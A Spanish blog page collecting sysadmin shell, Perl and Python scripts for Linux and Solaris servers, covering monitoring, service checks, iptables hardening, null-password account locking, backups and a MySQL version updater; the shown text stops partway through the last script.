Mostrando entradas con la etiqueta Servidor. Mostrar todas las entradas
Mostrando entradas con la etiqueta Servidor. Mostrar todas las entradas

Lastlog script for Solaris

d
Nombre: lastlog.pl
Autor: ph
Visto en: Tech Notes
#!/usr/local/bin/perl

# month names for common usage

@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug',
           'Sep', 'Oct', 'Nov', 'Dec');

setpwent;
while (($name, $junk, $uid) = getpwent) {
        $names{$uid} = $name;
}
endpwent;

open(LASTL,'/var/adm/lastlog');

for ($uid = 0; read(LASTL, $record, 28); $uid++) {
    ($time, $line, $host) = unpack('l A8 A16', $record);
    next unless $time;

    $host = "($host)" if $host;
    ($sec, $min, $hour, $mday, $mon, $year) = localtime($time);

    printf "%-9s%-8s%s %2d %4d    %s\n",
        $names{$uid}, $line, $months[$mon], $mday, 1900+$year, $host;
}
Leer más...

Script para monitorizar el estado de un servidor

d
Nombre: tecmint_monitor.sh
Autor: Tecmint.com
Visto en: Tecmint

                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))

Leer más...

apache2-vhosts.sh

d
Nombre: apache2-vhosts.sh
Autor: @Tonejito
Descripción: List Apache httpd VirtualHost entries
#!/bin/bash
 
for bin in which apache2ctl grep awk sort
do
  if [ ! -x "`which $bin`" ]
  then
    exit 1
  fi
done
 
apache2ctl -S 2>/dev/null | grep vhost | awk '{print $4}' | sort -u
Leer más...

File Watcher

d
Funcionamiento de script: El script crawlea un directorio y guarda en una "base de datos" (en este caso un diccionario serializado) la ruta de los archivos y sus respectivos hash md5. Para comprobar si un archivo a sido modificado, simplemente se compara su hash md5 con el que está en la BD y obviamente si el archivo no se encuentra en la BD es porque fue creado despues. 

Además indica los archivos de backup (.*~) que encuentra.

Autor: 11sept



    # -*- coding: utf-8 -*-
     
    #11Sep
     
    import os
    import sys
    import hashlib
    import cPickle
     
    recursividad = False
    diccionario = {}
    COLORES = {
        "archivo": "\033[91m\t[Archivo nuevo] %s\033[0m",     # Rojo
        "carpeta": "\033[94m\t[Carpeta nueva] %s\033[0m",     # Azul
        "modificado": "\033[93m\t[Modificado] %s\033[0m",     # Amarillo
        "backup": "\033[91m\t[BACKUP] %s\033[0m",             # Rojo
    }
     
    MENU = """Modo de uso:
    %s ruta [parametros]
     
    -r          Modo recursivo
    -a          Actualiza la BD
    -v          Para ver archivos y hashes
    """
     
     
    def imprimir(data, color):
        if its_linux:
            print COLORES[color] % data
        else:
            print data
     
    def es_archivo(ruta):
        if os.path.isfile(ruta):
            return True
     
    def es_directorio(ruta):
        if os.path.isdir(ruta):
            return True
     
    def guardar():
        with open("./data.sf", "wb") as archivo:
            cPickle.dump(diccionario, archivo, 2)
     
    def cargar():
        global diccionario
        try:
            with open("./data.sf", "rb") as archivo:
                diccionario = cPickle.load(archivo)
            return True
        except:
            return False
     
    def get_md5(ruta):
        md5 = hashlib.md5()
        with open(ruta, "r") as hash:
            for linea in hash.readlines():
                md5.update(linea)
        return md5.hexdigest()
     
    def recorrer(path, opt):
        if es_directorio(path):
           
            if not diccionario.has_key(path):
                diccionario[path] = {}
                imprimir(path, "carpeta")
           
            archivos = os.listdir(path)
           
            for archivo in archivos:
                ruta_completa = os.path.join(path, archivo)
                if es_archivo(ruta_completa):
                    extension = os.path.splitext(ruta_completa)[1]
                    if extension.endswith("~"):
                        imprimir(ruta_completa, "backup")
                   
                    if opt == 1:
                        diccionario[path][archivo] = get_md5(ruta_completa)
                    else:
                        md5 = get_md5(ruta_completa)
                        md5_bd = diccionario[path].get(archivo)
                        if md5_bd:    
                            if md5_bd != md5:
                                imprimir(ruta_completa, "modificado")
                        else:
                            imprimir(ruta_completa, "archivo")
     
                elif es_directorio(ruta_completa) and recursividad:
                    recorrer(ruta_completa, opt)
     
    its_linux = (os.name == "posix")
     
    argumentos = sys.argv
    if len(argumentos) > 1:
        parametros = []
        ruta = argumentos[1]
        parametros = argumentos[2:]
       
        if "-r" in parametros:
            recursividad = True
       
        if not es_directorio(ruta):
            print "Ruta no valida"
            exit()
        else:
            if "-a" in parametros:
                diccionario = {}
                recorrer(ruta, 1)
                guardar()
                exit()
            if cargar():
                recorrer(ruta, 2)
            else:
                recorrer(ruta, 1)
                guardar()
       
        if "-v" in parametros:
            for x, y in diccionario.iteritems():
                print x
                for archivo, hash in sorted(y.iteritems()):
                    print "\t", archivo, hash
           
    else:
        print MENU % os.path.split(argumentos[0])[-1]

Las opciones son:

-v: para ver la BD de los archivos y hashes md5
-a: para actualizar la BD
-r: para recorrer las carpetas en modo recursivo










Regards,
Snifer  

Fuente: Underc0de
Leer más...

Script para verificar estado de los servicios.

d
Autor: @D4nnR
Descripción: El script muestra si el servicio HTTPD, MYSQL Y POSTFIX se encuentran en ejecución o si están parados.
Visto en: Por un servidor seguro :)
#!/bin/sh


#Verificar estados servicios SOLAMENTE... 


echo "///////////////////////////////////////////////////"


echo "Comprobando servicio WEB"


SERVICE='httpd'


if ps ax | grep -v grep | grep $SERVICE > /dev/null


then


echo "El servicio $SERVICE esta ejecutandose :)"


else


echo "¡¡ Cuidado !! El servicio $SERVICE esta DETENIDO x("


fi


echo "///////////////////////////////////////////////////"


echo "Comprobando servicio MYSQL"


SERVICE2='mysqld'


if ps ax | grep -v grep | grep $SERVICE2 > /dev/null


then


echo "El servicio $SERVICE2 esta ejecutandose :)"


else


echo "¡¡ Cuidado !! El servicio $SERVICE2 esta DETENIDO x("


fi


echo "///////////////////////////////////////////////////"


echo "Comprobando servicio de CORREO"


SERVICE3='postfix'


if ps ax | grep -v grep | grep $SERVICE3 > /dev/null


then


echo "El servicio $SERVICE3 esta ejecutandose :)"


else


echo "¡¡ Cuidado !! El servicio $SERVICE3 esta DETENIDO x("


fi


echo "By Daniel Romo - www.PorunServidorSeguro.com"
Leer más...

Servicios: Estado, inicio y reinicio

d
Autor: @D4nnR
Descripción: Este script es para verificar el estado de los servicios del servidor, si algún servicio está caído automaticamente se inicia y si está en ejecución automaticamente se reinicia. La utilidad le das tu :].
Visto en: Por un servidor seguro :)
#!/bin/bash



#Este script revisa los servicios httpd, mysqld y postfix si estan parados los inicia y si estan en ejecucion los reinicia.



# Lista de servicios



echo "##########################################################"



echo "##########################################################"



SERVICIOS=(mysqld)



# Funcion para inicializar/reiniciar servicios



function servicioInit (){



if ! service $1 status &>/dev/null; then



echo -n -e "\t  El servicio esta parado, !! INICIAR $1 !!..."



service $1 start



echo '---Inicio OK---'



service  mysqld status



else



echo -n -e "\t El servicio $1 esta en ejecucion, sin embargo se  va a !! REINICIAR !!"



service $1 restart



echo '---Reinicio-OK---'



service  mysqld status



fi



}






for ((i=0; i<${#SERVICIOS[*]}; i++)) do #if $estado = "start"; then if [ -z $1 ]; then echo "Verificando servicio: ${SERVICIO[$i]} ->"



servicioInit ${SERVICIOS[$i]}



done



echo "##########################################################"



echo "##########################################################"



SERVICIOS=(httpd)



# Funcion para inicializar/reiniciar servicios



function servicioInit (){



if ! service $1 status &>/dev/null; then



echo -n -e "\t  El servicio esta parado, !! INICIAR $1 !!..."



service $1 start



echo '---Inicio OK---'



service  httpd status



else



echo -n -e "\t El servicio $1 esta en ejecucion, sin embargo se  va a !! REINICIAR !!"



service $1 restart



echo '---Reinicio-OK---'



service  httpd status



fi



}






for ((i=0; i<${#SERVICIOS[*]}; i++)) do #if $estado = "start"; then if [ -z $1 ]; then echo "Verificando servicio: ${SERVICIO[$i]} ->"



servicioInit ${SERVICIOS[$i]}



done



echo "##########################################################"



echo "##########################################################"



SERVICIOS=(postfix)



# Funcion para inicializar/reiniciar servicios



function servicioInit (){



if ! service $1 status &>/dev/null; then



echo -n -e "\t  El servicio esta parado, !! INICIAR $1 !!..."



service $1 start



echo '---Inicio OK---'



service  postfix status



else



echo -n -e "\t El servicio $1 esta en ejecucion, sin embargo se  va a !! REINICIAR !!"



service $1 restart



echo '---Reinicio-OK---'



service  postfix status



fi



}






for ((i=0; i<${#SERVICIOS[*]}; i++)) do #if $estado = "start"; then if [ -z $1 ]; then echo "Verificando servicio: ${SERVICIO[$i]} ->"



servicioInit ${SERVICIOS[$i]}



done



echo "##########################################################"



echo "##########################################################"

Leer más...

Evita ser víctima de Nmap

d
Autor: @D4nnR
Visto en Por un servidor seguro :)
#!/bin/bash
echo 'C0NF1GUR4ND0 F1R3W411'
echo 'LIMPIANDO IPTABLES'
iptables -Z
iptables -F
#echo '# Denegando el ping #'
iptables -A INPUT -p icmp -j DROP
#echo ''
#iptables -t filter -A INPUT -p tcp -s 0/0 -d localhost --dport 25 -j DROP

echo '## Blocking portscan ##'
# Attempt to block portscans
# Anyone who tried to portscan us is locked out for an entire day.
iptables -A INPUT   -m recent --name portscan --rcheck --seconds 86400 -j DROP
iptables -A FORWARD -m recent --name portscan --rcheck --seconds 86400 -j DROP

# Once the day has passed, remove them from the portscan list
iptables -A INPUT   -m recent --name portscan --remove
iptables -A FORWARD -m recent --name portscan --remove
# These rules add scanners to the portscan list, and log the attempt.
iptables -A INPUT   -p tcp -m tcp --dport 139 -m recent --name portscan --set -j LOG --log-prefix "Portscan:"
iptables -A INPUT   -p tcp -m tcp --dport 139 -m recent --name portscan --set -j DROP

iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name portscan --set -j LOG --log-prefix "Portscan:"
iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name portscan --set -j DROP

echo '## Spoofed Invalid packets ##'# Reject spoofed packets
# These adresses are mostly used for LAN's, so if these would come to a WAN-only server, drop them.
iptables -A INPUT -s 10.0.0.0/8 -j DROP
iptables -A INPUT -s 169.254.0.0/16 -j DROP
iptables -A INPUT -s 172.16.0.0/12 -j DROP
iptables -A INPUT -s 127.0.0.0/8 -j DROP

#Multicast-adresses.
iptables -A INPUT -s 224.0.0.0/4 -j DROP
iptables -A INPUT -d 224.0.0.0/4 -j DROP
iptables -A INPUT -s 240.0.0.0/5 -j DROP
iptables -A INPUT -d 240.0.0.0/5 -j DROP
iptables -A INPUT -s 0.0.0.0/8 -j DROP
iptables -A INPUT -d 0.0.0.0/8 -j DROP
iptables -A INPUT -d 239.255.255.0/24 -j DROP
iptables -A INPUT -d 255.255.255.255 -j DROP

# Drop all invalid packets
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A OUTPUT -m state --state INVALID -j DROP

echo '#### Stop smurf attacks ####'
# Don't allow pings through
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j DROP
Leer más...

nopassword.sh

d
Autor: nixcraft
Visto en: nixcraft
#!/bin/bash
# Shell script for search for no password entries and lock all accounts
# -------------------------------------------------------------------------
# Copyright (c) 2005 nixCraft project 
# This script is licensed under GNU GPL version 2.0 or above
# -------------------------------------------------------------------------
# This script is part of nixCraft shell script collection (NSSC)
# Visit http://bash.cyberciti.biz/ for more information.
# -------------------------------------------------------------------------
# Set your email 
ADMINEMAIL="admin@somewhere.com"
 
### Do not change anything below ###
#LOG File
LOG="/root/nopassword.lock.log"
STATUS=0
TMPFILE="/tmp/null.mail.$$"
 
echo "-------------------------------------------------------" >>$LOG
echo "Host: $(hostname),  Run date: $(date)" >> $LOG
echo "-------------------------------------------------------" >>$LOG
 
# get all user names
USERS="$(cut -d: -f 1 /etc/passwd)"
 
# display message
echo "Searching for null password..."
for u in $USERS
do
  # find out if password is set or not (null password)
   passwd -S $u | grep -Ew "NP" >/dev/null
   if [ $? -eq 0 ]; then # if so 
     echo "$u" >> $LOG 
     passwd -l $u #lock account
     STATUS=1  #update status so that we can send an email
   fi  
done
echo "========================================================" >>$LOG 
if [ $STATUS -eq 1 ]; then
   echo "Please see $LOG file and all account with no password are locked!" >$TMPFILE
   echo "-- $(basename $0) script" >>$TMPFILE
   mail -s "Account with no password found and locked" "$ADMINEMAIL" < $TMPFILE
#   rm -f $TMPFILE
fi
Leer más...

Monitoreo de Espacio en Disco

d
Muy útil si no se tiene instalado el plugin en Nagios.
Autor: nixcraft
Visto en: nixcraft
#!/bin/sh
# Shell script to monitor or watch the disk space
# It will send an email to $ADMIN, if the (free avilable) percentage 
# of space is >= 90% 
# -------------------------------------------------------------------------
# Copyright (c) 2005 nixCraft project 
# This script is licensed under GNU GPL version 2.0 or above
# -------------------------------------------------------------------------
# This script is part of nixCraft shell script collection (NSSC)
# Visit http://bash.cyberciti.biz/ for more information.
# ----------------------------------------------------------------------
# Linux shell script to watch disk space (should work on other UNIX oses )
# SEE URL: http://www.cyberciti.biz/tips/shell-script-to-watch-the-disk-space.html
# set admin email so that you can get email
ADMIN="me@somewher.com"
# set alert level 90% is default
ALERT=90
df -H | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{ print $5 " " $1 }' | while read output;
do
  #echo $output
  usep=$(echo $output | awk '{ print $1}' | cut -d'%' -f1  )
  partition=$(echo $output | awk '{ print $2 }' )
  if [ $usep -ge $ALERT ]; then
    echo "Running out of space \"$partition ($usep%)\" on $(hostname) as on $(date)" | 
     mail -s "Alert: Almost out of disk space $usep" $ADMIN
  fi
done
Leer más...

chksysload.bash

d
Muy útil cuando no se tiene instalado Cacti.
Nombre: chksysload.bash
Autor: nixcraft
Visto en nixcraft
#!/bin/bash
# 
# Script to notify admin user if Linux,FreeBSD load crossed certain limit
# It will send an email notification to admin.
#
# Copyright 2005 (c) nixCraft project
# This is free script under GNU GPL version 2.0 or above. 
# Support/FeedBack/comment :  http://cyberciti.biz/fb/
# Tested os: 
# * RedHat Linux
# * Debain Linux
# * FreeBSD
# -------------------------------------------------------------------------
# This script is part of nixCraft shell script collection (NSSC)
# Visit http://bash.cyberciti.biz/ for more information.
# -------------------------------------------------------------------------
 
# Set up limit below
NOTIFY="6.0"
 
# admin user email id
EMAIL="root"
 
# Subject for email
SUBJECT="Alert $(hostname) load average"
 
# -----------------------------------------------------------------
 
# Os Specifc tweaks do not change anything below ;)
OS="$(uname)"
TRUE="1"
if [ "$OS" == "FreeBSD" ]; then
        TEMPFILE="$(mktemp /tmp/$(basename $0).tmp.XXX)"
 FTEXT='load averages:'
elif [ "$OS" == "Linux" ]; then
        TEMPFILE="$(mktemp)"
 FTEXT='load average:'
fi
 
 
# get first 5 min load
F5M="$(uptime | awk -F "$FTEXT" '{ print $2 }' | cut -d, -f1) | sed 's/ //g'"
# 10 min
F10M="$(uptime | awk -F "$FTEXT" '{ print $2 }' | cut -d, -f2) | sed 's/ //g'"
# 15 min
F15M="$(uptime | awk -F "$FTEXT" '{ print $2 }' | cut -d, -f3) | sed 's/ //g'"
 
# mail message
# keep it short coz we may send it to page or as an short message (SMS)
echo "Load average Crossed allowed limit $NOTIFY." >> $TEMPFILE
echo "Hostname: $(hostname)" >> $TEMPFILE
echo "Local Date & Time : $(date)" >> $TEMPFILE
 
# Look if it crossed limit
# compare it with last 15 min load average
RESULT=$(echo "$F15M > $NOTIFY" | bc)
 
# if so send an email
if [ "$RESULT" == "$TRUE" ]; then
        mail -s "$SUBJECT" "$EMAIL" < $TEMPFILE
fi
 
# remove file 
rm -f $TEMPFILE
Leer más...

Script Full Backup

d
Autor: GhosTi
Visto en Blog of Sysadmins
#!/bin/bash
 
 
 
TAR=$(which tar)
TEE=$(which tee)
 
ARGS=2
 
if [ $# -ne $ARGS ]
then
echo “Usage: “$0” file dir”
echo ” file: backup file name”
echo ” dir: path to backup”
exit
fi
 
APP=$0 #app name
FILE=$1“_full.tgz” #backup file
FILE_OLD=$FILE“~” #file backuped before remove
DIR=$2 #path
 
LOG_DIR=/var/log
LOG_FILE=$LOG_DIR“/”${APP##*\/}“.log” #remuevo de APP lo que este antes de la ultima /
 
TODAY=`date “+%Y-%m-%d %a”`
echo $TODAY” *** Backup full *** “ | $TEE -a $LOG_FILE
 
if [ ! -d $DIR ]
then
echo “ERROR: path “$DIR” not exist” | $TEE -a $LOG_FILE
exit
fi
 
#Realizo backup del backup
echo “Rotating files…” | $TEE -a $LOG_FILE
 
if [ -f $FILE ];
then
#cp -v $FILE $FILE_OLD | $TEE -a $LOG_FILE
rm -v $FILE | $TEE -a $LOG_FILE
fi
 
echo “Making backup…” | $TEE -a $LOG_FILE
#Realizo el backup
$TAR -chzf $FILE $DIR | $TEE -a $LOG_FILE
 
if [ $? == 0 ]
then
echo “Backup successfull!”
else
echo “ERROR: error making backup :-( “
fi
Leer más...

Script Backup Incremental.

d
Autor: GhosTi
Visto en Blog of Sysadmins
#!/bin/sh
TAR=$(which tar)
TEE=$(which tee)
 
 
 
ARGS=2
 
if [ $# -ne $ARGS ]
 
then
echo “Usage: “$0” file dir”
echo ” file: backup file name”
echo ” dir: path to backup”
exit
fi
 
APP=$0 #app name
FILE=$1“_incremental.tgz” #backup file
FILE_FULL=$1“_full.tgz” #backup full
FILE_OLD=$FILE“~” #file backuped before remove
DIR=$2 #path
 
LOG_DIR=/var/log
LOG_FILE=$LOG_DIR“/”${APP##*\/}“.log” #remuevo de APP lo que este antes de la ultima /
 
TODAY=`date “+%Y-%m-%d %a”`
echo $TODAY” *** Backup incremental ***” | $TEE -a $LOG_FILE
 
if [ ! -d $DIR ]
then
echo “ERROR: path “$DIR” not exist” | $TEE -a $LOG_FILE
exit
fi
 
# Reviso si existe el backup full
if [ ! -f $FILE_FULL ];
then
echo “ERROR: full backup “$FILE_FULL” not exist!” | $TEE -a $LOG_FILE
exit
fi
 
#Realizo backup del backup
 
echo “Rotating files…” | $TEE $LOG_FILE
 
if [ -f $FILE ];
 
then
#cp -v $FILE $FILE_OLD | $TEE $LOG_FILE
rm -v $FILE | $TEE $LOG_FILE
fi
 
#Realizo el backup
DATE_FULL=“`date \”+%Y-%m-%d %H:%M\” -r “$FILE_FULL“`”
echo “Full backupe created: “$DATE_FULL | $TEE $LOG_FILE
 
echo “Making backup…” | $TEE $LOG_FILE
$TAR -chzf $FILE –newer-mtime=“$DATE_FULL” $DIR | $TEE -a $LOG_FILE
 
if [ $? == 0 ]
then
echo “Backup successfull!”
else
echo “ERROR: error making backup :-( “
fi
Leer más...

DB Version Updater

d
Nombre: DB Version Updater
Autor: Eduardo Cuomo [ eduardo.cuomo.ar@gmail.com ]
Descripción: Script to keep the version of the database model updated, using a simple Linux script.
Más información del Script en reduardo7
#!/bin/bash

# Execute Queries for update.
#
# SQL Query File name format: [version number (BIGINT)][ |-|.|_|,|#|\|][Query description][.sql]
#
# For more help, execute this file into a Terminal without parameters.
#
# Eduardo Cuomo | eduardo.cuomo.ar@gmail.com


# Test if running with "bash" interpreter
if [ "$BASH" = "" ] ; then
    # Run with "bash"
    bash "$0" $@
    exit $?
fi

# DB config
DB_USER="USER"
DB_PASS="PASS"
DB_NAME="DB_NAME"
DB_HOST="localhost"
DB_TABLE="DB_VERSION"
DB_CHARSET="latin1"
DB_PORT="3306"


# DB status
DB_STATUS_EXECUTING="EXECUTING"
DB_STATUS_EXECUTED="EXECUTED"
DB_STATUS_ERROR="ERROR"

# Arguments
ARG_UPDATE="update"
ARG_CREATE="create"
ARG_MARK_UPDATED="mark-updated"

# File format
CHAR_SEP="\ \-\_\,\|\#"
CHAR_SEP_P="\ \-\_\,\|\#\."
FILE_NAME_FORMAT="[version number (BIGINT)][${CHAR_SEP_P}][Query description][.sql]"

# Vars
CURRENT_DIR="$(printf '%q' "$(pwd)")"
DIR_NAME="$(dirname "$(printf '%q' "$(readlink -f "$(printf '%q' "$0")")")")"
result=""
br="
"

# Exit
function ex() {
 echo
 echo "cd $CURRENT_DIR"
 cd $CURRENT_DIR
 echo
 exit $1
}

# Escape String
function escape_string() {
 result=$(printf '%q' "$1")
}

# echo
function e() {
 echo "| $1"
}

# echo line
function e_l() {
 let fillsize=80
 fill="+"
 while [ "$fillsize" -gt "0" ] ; do
  fill="${fill}-" # fill with underscores to work on
  let fillsize=${fillsize}-1
 done
 echo $fill
}

# echo exit
function e_e() {
 e "$1"
 e_l
 ex 1
}

# Show help
function show_help() {
 escape_string "$0"
 script="$result"
 e "Help (this):"
 e " # bash $script"
 e " # bash $script --help"
 e
 e
 e "To use rollback on error, tables must be transactional (InnoDB)."
 e "Use next query to set as InnoDB tables:"
 e "    ALTER TABLE \`TABLE_NAME\` ENGINE = INNODB;"
 e
 e
 e "The SQL files names must have the next format:"
 e " ${FILE_NAME_FORMAT}"
 e "File name examples:"
 e " 0001. Query description.sql"
 e " 0002 - Query description 2.sqL"
 e " 3 Query description 3.Sql"
 e " 04, Query description 4.sQl"
 e " 05_Query description 5.SQL"
 e " 20100617-Query description with date as version number.sql"
 e " 201006170105#Query description with date and time as version number.sql"
 e " 00017|Other Query description.sql"
 e " 00017#Other Query description.sql"
 e
 e
 e "Usage: bash $script [OPTIONS] ACTION [EXTRA]"
 e
 e "OPTION:"
 e "-u, --user     Set DB user name to use."
 e "               Using: '$DB_USER'"
 e "-p, --pass     Set DB password to use."
 e "               Using: '$DB_PASS'"
 e "-d, --db       Set DB name to use."
 e "               Using: '$DB_NAME'"
 e "-h, --host     Set DB host to use."
 e "               Using: '$DB_HOST'"
 e "-P, --port     Set DB host port to use."
 e "               Using: '$DB_PORT'"
 e "--help         This help."
 e
 e "ACTION:"
 e "$ARG_UPDATE         Execute update."
 e "               NOTE: Transaction rollback on MySQL error."
 e "$ARG_CREATE         Create a SQL file to mark all files as executed."
 e "               Uses:"
 e "                 # bash $script $ARG_CREATE [OUT FILE NAME]"
 e "                 # bash $script $ARG_CREATE \"out_file_name.sql\""
 e "                 # bash $script $ARG_CREATE \"0. Mark executed to version X.sql\""
 e "               TIP: You can use version '0' to execute before others already executed files."
 e "$ARG_MARK_UPDATED   Mark all files as executed without execute files."
 e_e
}

# Begin
echo
echo "cd $DIR_NAME"
echo
e ":: DB Updater ::"
cd $DIR_NAME
e_l

# No parameters
if [ $# -eq 0 ] ; then
 show_help
fi

# Options
TMP=`getopt --name="$0" -a --longoptions=user:,pass:,db:,host:,port:,help -o u:,p:,d:,h:,P -- $@`
if [ $? -ne 0 ] ; then
 # Invalid option
 e
 e "Error! Invalid parameters!"
 e
 show_help
fi
eval set -- $TMP

until [ $1 == -- ]; do
 case $1 in
  -u|--user)
   DB_USER=$2
   ;;
  -p|--pass)
   DB_PASS=$2
   ;;
  -d|--db)
   DB_NAME=$2
   ;;
  -h|--host)
   DB_HOST=$2
   ;;
  -P|--port)
   DB_PORT=$2
   ;;
  --help)
   show_help
   ;;
 esac
 shift # move the arg list to the next option or '--'
done
shift # remove the '--', now $1 positioned at first argument if any

# Query: Execute query
function q_e() {
 query=$1
 mysql -h ${DB_HOST} -u ${DB_USER} -p${DB_PASS} -P ${DB_PORT} ${DB_NAME} -e "${query}"
 return $?
}

# Read version from file name
function read_version() {
 result=$(echo "$1" | sed "s/[${CHAR_SEP_P}].*$//" | sed "s/^0*//g")
 if [[ "$result" = "" ]] ; then
  result=0
 fi
 # Check integer
 if [[ $result =~ ^[^0-9]+$ ]] ; then
  e "File name format:"
  e " ${FILE_NAME_FORMAT}"
  e_e "The file '$1' not contains a Version number as start name."
 fi
}

# Read description from file name
function read_description() {
 result=$(echo "$1" | sed "s/[^\d${CHAR_SEP_P}]*//" | sed "s/\.sql.*$//i" | sed "s/^[${CHAR_SEP_P}]*//g")
}

# Create table if not exists
function create_table() {
 q_e "CREATE TABLE IF NOT EXISTS \`${DB_TABLE}\` (\`version\` BIGINT NOT NULL, \`description\` varchar(255) NOT NULL, \`file_name\` varchar(255) NOT NULL, \`executed_date\` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, \`status\` VARCHAR(10) NOT NULL DEFAULT '${DB_STATUS_EXECUTING}' COMMENT '${DB_STATUS_EXECUTING}; ${DB_STATUS_EXECUTED}; ${DB_STATUS_ERROR}', PRIMARY KEY (\`version\`)) ENGINE=InnoDB DEFAULT CHARSET=latin1"
    if [ $? -ne 0 ]; then
        e_e "[ERROR CODE 7001] QUERY ERROR! mysql exit code: $?"
    fi
 e "Connected to ${DB_USER}@${DB_HOST}.${DB_NAME}"
 e_l
}

# Read file data
file_name=""
file_nameq=""
version=""
versionq=""
desc=""
descq=""
function read_file_data() {
 file_name="$1"
 # File name
 escape_string "$file_name" ; file_nameq=$result
 e "File:         $file_name"
 # Version
 read_version "$file_name" ; version=$result
 escape_string $version ; versionq=$result
 e "Version:      $version"
 # Description
 read_description "$file_name" ; desc=$result
 escape_string "$desc" ; descq=$result
 e "Description:  $desc"
}

# Update DB
if [ "$1" = "${ARG_UPDATE}" ] ; then
 # Update
 e "Updating DB ${DB_HOST}@${DB_NAME}..."
 e_l

 # Create table if not exists
 create_table

 # Begin
 for file in *.sql ; do
  if [[ "$file" =~ ^[0-9]+[${CHAR_SEP_P}]+.+\.[sS][qQ][lL]$ ]] ; then
   read_file_data "$file"

   # Check
   q_e "DELETE FROM \`${DB_TABLE}\` WHERE \`version\` = ${version} AND \`status\` = '${DB_STATUS_ERROR}'"
   q_e "INSERT INTO \`${DB_TABLE}\` (\`version\`, \`description\`, \`file_name\`, \`status\`) VALUES (${version}, '$descq', '$file_nameq', '${DB_STATUS_EXECUTING}')" &> /dev/null

   if [ $? -ne 0 ]; then
    # Already executed
    e "* Already executed."
   else
    e "* Executing update..."
    # Prepare query
    update_query=$(cat "$file")
    update_query="SET SQL_MODE=\"NO_AUTO_VALUE_ON_ZERO\"; SET AUTOCOMMIT=0; START TRANSACTION;
-- BEGIN UPDATE

$update_query ;

-- END UPDATE
COMMIT;"
    query_executed="UPDATE \`${DB_TABLE}\` SET \`status\` = '${DB_STATUS_EXECUTED}' WHERE \`version\` = ${version}"
    # Execute query file
    #mysql -h ${DB_HOST} -u ${DB_USER} -p${DB_PASS} -P ${DB_PORT} --default-character-set=${DB_CHARSET} ${DB_NAME} < "$file"
    mysql -h ${DB_HOST} -u ${DB_USER} -p${DB_PASS} -P ${DB_PORT} --default-character-set=${DB_CHARSET} ${DB_NAME} <<< "$update_query"
    exc=$?
    if [ $exc -ne 0 ]; then
     e
     q_e "UPDATE \`${DB_TABLE}\` SET \`status\` = '${DB_STATUS_ERROR}' WHERE \`version\` = ${version}"
     e "[ERROR CODE 7003] QUERY ERROR! mysql exit code: $exc"
     e "QUERY:${br}${br}$update_query${br}"
     e
     e "Mark this script as executed:"
     e_e "${query_executed};"
    fi
    # Ok
    q_e "$query_executed"
    e "Query executed!"
   fi
   e_l
  fi
 done

 # Finish!
